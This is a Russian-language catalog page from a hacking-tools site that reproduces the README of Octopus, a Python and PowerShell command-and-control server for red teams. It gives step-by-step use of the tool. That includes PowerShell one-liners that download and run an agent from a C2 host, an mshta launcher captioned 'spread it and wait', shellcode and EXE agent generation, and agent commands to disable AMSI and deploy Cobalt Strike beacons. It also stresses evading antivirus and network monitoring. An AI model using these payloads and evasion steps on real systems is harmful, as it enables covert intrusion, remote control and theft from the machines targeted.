Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Octopus — Открытый исходный код C2-сервера предоперационной подготовки на основе Python и PowerShell | Kitploit
Инструменты/GitHubGitHub/mhaskar/octopus
Инструменты шифрования/дешифрованияГенерация полезной нагрузкиСбор информацииТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubmhaskar/octopus

Octopus

Открытый исходный код C2-сервера предоперационной подготовки на основе Python и PowerShell

Репозиторий
76315545 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Что такое Octopus?

Octopus — это C2-сервер с открытым исходным кодом для предварительной эксплуатации (pre-operation), написанный на Python, который может управлять агентом PowerShell через HTTP/S.

Основная цель создания Octopus — использование перед любой операцией red team, когда вместо того, чтобы начинать взаимодействие с полным арсеналом операционных средств и инфраструктуры, можно сначала применить Octopus для атаки на цель и сбора информации, прежде чем начинать саму операцию red team.

Octopus работает очень простым способом: выполняет команды и обменивается информацией с C2 по хорошо зашифрованному каналу, что делает его незаметным и необнаруживаемым практически для любого антивируса, системы защиты конечных точек и решения мониторинга сети.

Одной из интересных функций Octopus является ESA (Endpoint Situational Awareness), которая собирает важную информацию о цели, помогая лучше понять состояние конечных точек сети противника, с которыми вы столкнётесь во время операции. Это позволяет адаптировать реальную операцию на основе полученных данных.

Octopus спроектирован скрытным и незаметным при связи с C2: по умолчанию используется AES-256 для зашифрованного канала между агентом PowerShell и сервером C2. Также можно использовать SSL/TLS, предоставив действующий сертификат для вашего домена и настроив сервер C2 Octopus на его использование.

Ключевые возможности Octopus

Octopus содержит ряд функций, позволяющих получить представление о будущем взаимодействии до того, как потребуется задействовать полный арсенал средств, инструментов и техник, например:

  • Управление агентами через HTTP/S.
  • Выполнение системных команд.
  • Загрузка / выгрузка файлов.
  • Загрузка внешних модулей PowerShell.
  • Использование зашифрованных каналов (AES-256) между C2 и агентами.
  • Использование незаметных методов для выполнения команд и передачи результатов.
  • Создание нескольких пользовательских слушателей для каждой цели.
  • Генерация различных типов полезных нагрузок.
  • Поддержка всех версий Windows с PowerShell 2.0 и выше.
  • Запуск исполняемого агента Windows Octopus без обращения к процессу powershell.exe.
  • Автоматический сбор информации с конечной точки (функция endpoint situational awareness).

Требования

Вы можете установить все зависимости Octopus с помощью:

pip install -r requirements.txt

Вам необходимо установить nasm для Linux и компилятор mingw-w64 для использования функции shellcoding и агента со спуфированными аргументами.

Установить nasm в дистрибутивах на основе Debian можно так:

apt install nasm

А установить mingw-w64 в дистрибутивах на основе Debian можно так:

apt install mingw-w64

Octopus протестирован на следующих операционных системах:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

Также потребуется установить mono, чтобы гарантировать успешную компиляцию C# исходного кода.

Octopus зависит от бинарного файла mono-csc для компиляции C# исходника; установить его можно командой apt install mono-devel, что протестировано на Kali и Ubuntu 16.04.

вы можете использовать Octopus без установки mono, но тогда команда generate_exe будет недоступна.

Также обратите внимание, что компиляция C# зависит от сборки System.Management.Automation.dll с SHA1-хешем a43ed886b68c6ee913da85df9ad2064f1d81c470.

Если у вас возникнут какие-либо проблемы при использовании Octopus, смело сообщайте о них в баг-репорт!

Установка

Прежде всего загрузите последнюю версию Octopus с помощью следующей команды:

git clone https://github.com/mhaskar/Octopus/

Затем установите зависимости с помощью команды:

pip install -r requirements.txt

После этого вы можете запустить сервер Octopus, выполнив:

./octopus.py

После запуска вы увидите следующее:

root@kitploit:~
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | Control your shells


Octopus >>

Использование

Пользоваться Octopus довольно просто: нужно лишь запустить слушатель и сгенерировать агента на основе информации этого слушателя.

Вы можете создать столько слушателей, сколько потребуется, а затем начать взаимодействие с подключившимися к ним агентами.

Настройка профиля

Перед началом использования Octopus необходимо настроить профиль обработки URL, который будет управлять поведением и функциями C2. Поскольку Octopus — это HTTP-основанный C2, он использует URL для обработки соединений. Чтобы гарантировать, что URL не станут сигнатурами или индикаторами компрометации (IoC) в атакуемой сети, URL можно легко настраивать и переименовывать по необходимости.

В настоящее время настройка профиля поддерживает только обработку URL, значение auto_kill и заголовки.

Настройка вашего профиля

Для начала настройки профиля отредактируйте файл profile.py, который содержит несколько ключевых переменных:

  • file_reciever_url: обрабатывает загрузку файлов.
  • report_url: обрабатывает отчёты ESA.
  • command_send_url: обрабатывает команды, которые будут отправлены цели.
  • command_receiver_url: обрабатывает команды, которые будут выполнены на цели.
  • first_ping_url: обрабатывает первое соединение от цели.
  • server_response_header: этот заголовок будет отображаться в каждом ответе.
  • auto_kill: переменная, управляющая тем, когда агент будет убит после N неудачных подключений к C2.

Пример:

root@kitploit:~
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10


Агент и слушатели будут настроены на использование этого профиля для связи друг с другом. Далее нам нужно узнать, как создать слушателя.

Слушатели

В Octopus есть два основных слушателя: «http listener» и «https listener», и их параметры в основном идентичны.

HTTP-слушатель:

Команда listen_http принимает следующие аргументы для запуска:

  • BindIP Определяет IP-адрес, который будет использоваться слушателем.
  • BindPort Определяет порт, который вы хотите прослушивать.
  • Hostname Будет использоваться для запроса полезной нагрузки.
  • Interval Количество секунд, которое агент будет ждать перед проверкой команд.
  • URL Имя страницы, на которой размещается полезная нагрузка.
  • Listener_name Имя слушателя для использования.

Также вы можете посмотреть пример, выполнив команду listen_http:

root@kitploit:~
Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

И мы можем запустить слушателя с помощью следующей команды:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

В результате будет получено следующее:

root@kitploit:~
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

Слушатель успешно запущен. Просмотреть все слушатели можно командой listeners:

root@kitploit:~
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

HTTPS-слушатель:

Для создания HTTPS-слушателя можно использовать команду listen_https следующим образом:

root@kitploit:~
Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

Команда listen_https принимает следующие аргументы для запуска:

  • BindIP : IP-адрес, который будет использоваться слушателем
  • BindPort : порт, который вы хотите прослушивать
  • Hostname : будет использоваться для запроса полезной нагрузки
  • Interval : количество секунд, которое агент будет ждать перед проверкой команд
  • URL page : имя страницы, на которой будет размещена полезная нагрузка
  • Listener_name : имя слушателя для использования
  • certficate_path : путь к действующему SSL-сертификату (для сертификатов Let's Encrypt это fullchain.pem)
  • key_path : путь к действующему ключу SSL-сертификата (для сертификатов Let's Encrypt это key.pem)

Обратите внимание, что необходимо предоставить действующий SSL-сертификат, связанный с используемым доменом.

Генерация агентов

PowerShell oneliner

Чтобы сгенерировать агента для слушателя operation1, используйте следующую команду:

generate_powershell operation1

Результат будет следующим:

root@kitploit:~
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

Теперь эту однострочную команду можно использовать для запуска нашего агента.

HTA oneliner

Чтобы сгенерировать HTA oneliner для слушателя operation1, используйте команду:

generate_hta operation1

Результат:

root@kitploit:~
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

Обратите внимание, что URL /hta можно изменить в файле profile.py.

Агент Octopus EXE

Чтобы сгенерировать EXE-агента для слушателя operation1, используйте команду:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

Результат:

root@kitploit:~
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

Обратите внимание, что необходимо установить mono-csc для компиляции C# исходного кода.

Агент Octopus со спуфированными аргументами

Вы можете сгенерировать нового EXE-агента, который запустит процесс PowerShell со спуфированными аргументами, основанными на блестящем исследовании Адама Честера.

Для генерации используйте следующую команду:

root@kitploit:~
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

Генерация x64 shellcode и x86 shellcode

Начиная с версии 1.2, Octopus может генерировать как x64, так и x86 shellcode. Сгенерированный shellcode использует CreateProcessA для запуска однострочной команды powershell.exe, которая запустит агент PowerShell.

Для генерации x64 shellcode используйте команду:

root@kitploit:~
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

Для генерации x86 shellcode используйте команду:

root@kitploit:~
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

Взаимодействие с агентами

Прежде всего вы можете вывести список всех подключённых агентов с помощью команды list, чтобы получить следующий результат:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

Затем можно использовать команду interact для взаимодействия с хостом следующим образом:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

Список всех доступных команд можно вывести с помощью команды help:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

Чтобы выполнить системную команду напрямую, просто введите команду и дождитесь результатов с интервалом проверки, который был задан при создании слушателя.

root@kitploit:~
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

В данном случае команда была зашифрована и отправлена агенту, клиент расшифровал её и выполнил, агент зашифровал результаты и отправил обратно на C2, который расшифровал их и показал результат.

Также можно использовать команду report для получения информации ESA, например:

root@kitploit:~
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

Вы можете загрузить внешний модуль PowerShell, поместив его в каталог modules, а затем выполнив load module.ps1.

Также можно вывести список всех модулей в каталоге modules, выполнив команду modules:

root@kitploit:~
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

Подробнее об Octopus

  • Octopus v1.0 stable: Cobalt Strike deployment & much more!

  • Unveiling Octopus: The pre-operation C2 for Red Teamers

Благодарности

  • Ian Lyte за сообщение о множестве ошибок в Octopus и создание улучшенного модуля обхода AMSI.

  • Khlief за добавление модуля HTA и исправление ошибки в функции загрузки файлов.

  • Moath Maharmah за улучшение модуля шифрования и написание автономного C# агента Octopus, который будет добавлен в следующий релиз.

  • TeslaPulse за тестирование Octopus.

  • J005 за добавление улучшенного однострочного PowerShell-команды и исправление проблемы в скрипте атаки HID.

Лицензия

Этот проект лицензирован в соответствии с лицензией GPL-3.0 — подробности см. в файле LICENSE.

Скачать инструмент